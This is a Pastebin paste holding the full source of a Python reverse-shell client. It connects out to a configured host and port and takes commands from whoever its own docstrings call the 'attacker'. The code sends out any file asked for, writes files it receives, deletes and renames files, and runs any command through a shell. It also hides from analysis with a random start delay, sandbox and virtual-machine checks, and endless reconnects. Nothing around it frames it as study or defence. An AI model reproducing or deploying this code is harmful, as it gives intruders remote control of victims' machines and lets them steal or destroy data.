Advertisement
MaverickAugustine

Untitled

Mar 31st, 2025 (edited)
25
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 5.87 KB | None | 0 0
  1. import socket
  2. import subprocess
  3. import os
  4. import shutil
  5. import shlex
  6. import platform
  7.  
  8. import time, random
  9. time.sleep(random.randint(3, 10))
  10.  
  11. REMOTE_HOST = '127.0.0.1'
  12. REMOTE_PORT = 4444
  13.  
  14. def handle_file_upload(client, file_name):
  15. """Handle file upload to attacker with space support"""
  16. file_name = file_name.strip('"')
  17. try:
  18. if not os.path.exists(file_name):
  19. client.send(b"ERROR File not found")
  20. return
  21.  
  22. file_size = os.path.getsize(file_name)
  23. client.send(f"READY {file_size}".encode())
  24. ack = client.recv(1024)
  25. if ack == b"READY":
  26. with open(file_name, 'rb') as f:
  27. client.sendall(f.read())
  28. print(f"[+] File {file_name} sent to attacker")
  29. except Exception as e:
  30. print(f"[-] Error handling file upload: {e}")
  31.  
  32. def handle_file_download(client, command):
  33. """Handle file download from attacker with space support"""
  34. try:
  35. parts = shlex.split(command.decode())
  36. if len(parts) < 3:
  37. client.send(b"ERROR Invalid download command")
  38. return
  39.  
  40. file_name = parts[1]
  41. file_size = int(parts[2])
  42. client.send(b"READY")
  43. received_data = b''
  44. while len(received_data) < file_size:
  45. chunk = client.recv(min(4096, file_size - len(received_data)))
  46. if not chunk:
  47. break
  48. received_data += chunk
  49.  
  50. with open(file_name, 'wb') as f:
  51. f.write(received_data)
  52. print(f"[+] File {file_name} received from attacker")
  53. except Exception as e:
  54. print(f"[-] Error handling file download: {e}")
  55.  
  56. def get_current_directory():
  57. """Get current working directory"""
  58. return os.getcwd()
  59.  
  60. def list_directory():
  61. """List contents of current directory"""
  62. try:
  63. if os.name == 'nt':
  64. result = subprocess.check_output('dir', shell=True, stderr=subprocess.STDOUT)
  65. else:
  66. result = subprocess.check_output('ls -la', shell=True, stderr=subprocess.STDOUT)
  67. return result.decode()
  68. except subprocess.CalledProcessError as e:
  69. return e.output.decode()
  70.  
  71. def change_directory(path):
  72. """Change working directory with space support"""
  73. path = path.strip('"')
  74. try:
  75. os.chdir(path)
  76. return f"[+] Changed directory to: {os.getcwd()}"
  77. except Exception as e:
  78. return f"[-] Error changing directory: {e}"
  79.  
  80. def delete_file(path):
  81. """Delete file or directory with space support"""
  82. path = path.strip('"')
  83. try:
  84. if os.path.isfile(path):
  85. os.remove(path)
  86. return f"[+] File {path} deleted successfully"
  87. elif os.path.isdir(path):
  88. shutil.rmtree(path)
  89. return f"[+] Directory {path} deleted successfully"
  90. else:
  91. return f"[-] Path {path} not found"
  92. except Exception as e:
  93. return f"[-] Error deleting {path}: {e}"
  94.  
  95. def rename_file(old_name, new_name):
  96. """Rename file or directory with space support"""
  97. old_name = old_name.strip('"')
  98. new_name = new_name.strip('"')
  99. try:
  100. os.rename(old_name, new_name)
  101. return f"[+] Renamed {old_name} to {new_name}"
  102. except Exception as e:
  103. return f"[-] Error renaming {old_name} to {new_name}: {e}"
  104.  
  105. def main():
  106. client = socket.socket()
  107. print("[-] Connection Initiating...")
  108. client.connect((REMOTE_HOST, REMOTE_PORT))
  109. print("[-] Connection initiated!")
  110.  
  111. while True:
  112. print("[-] Awaiting commands...")
  113. command = client.recv(1024)
  114.  
  115. if command.startswith(b'UPLOAD '):
  116. file_name = shlex.split(command.decode())[1]
  117. handle_file_upload(client, file_name)
  118. continue
  119.  
  120. if command.startswith(b'DOWNLOAD '):
  121. handle_file_download(client, command)
  122. continue
  123.  
  124. if command == b'LS':
  125. listing = list_directory()
  126. client.send(listing.encode())
  127. continue
  128.  
  129. if command == b'PWD':
  130. current_dir = get_current_directory()
  131. client.send(current_dir.encode())
  132. continue
  133.  
  134. if command.startswith(b'CD '):
  135. path = shlex.split(command.decode())[1]
  136. result = change_directory(path)
  137. client.send(result.encode())
  138. continue
  139.  
  140. if command.startswith(b'DEL '):
  141. path = shlex.split(command.decode())[1]
  142. result = delete_file(path)
  143. client.send(result.encode())
  144. continue
  145.  
  146. if command.startswith(b'REN '):
  147. parts = shlex.split(command.decode())[1:]
  148. if len(parts) == 2:
  149. result = rename_file(parts[0], parts[1])
  150. client.send(result.encode())
  151. else:
  152. client.send(b"Usage: ren \"old name\" \"new name\"")
  153. continue
  154.  
  155. command = command.decode()
  156. op = subprocess.Popen(command, shell=True, stderr=subprocess.PIPE, stdout=subprocess.PIPE)
  157. output = op.stdout.read()
  158. output_error = op.stderr.read()
  159. print("[-] Sending response...")
  160. client.send(output + output_error)
  161.  
  162. if __name__ == '__main__':
  163. # Add sandbox/virtual machine detection
  164. def is_sandboxed():
  165. checks = [
  166. os.getenv("TEMP") == r"C:\WINDOWS\Temp",
  167. len(os.getenv("USERNAME")) < 3,
  168. platform.machine() == "VMWARE"
  169. ]
  170. return any(checks)
  171.  
  172. if is_sandboxed():
  173. print("System not supported")
  174. sys.exit(0)
  175. else:
  176. while True:
  177. try:
  178. main()
  179. except Exception as e:
  180. print(f'{Exception} Occured !!!')
  181. time.sleep(1)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement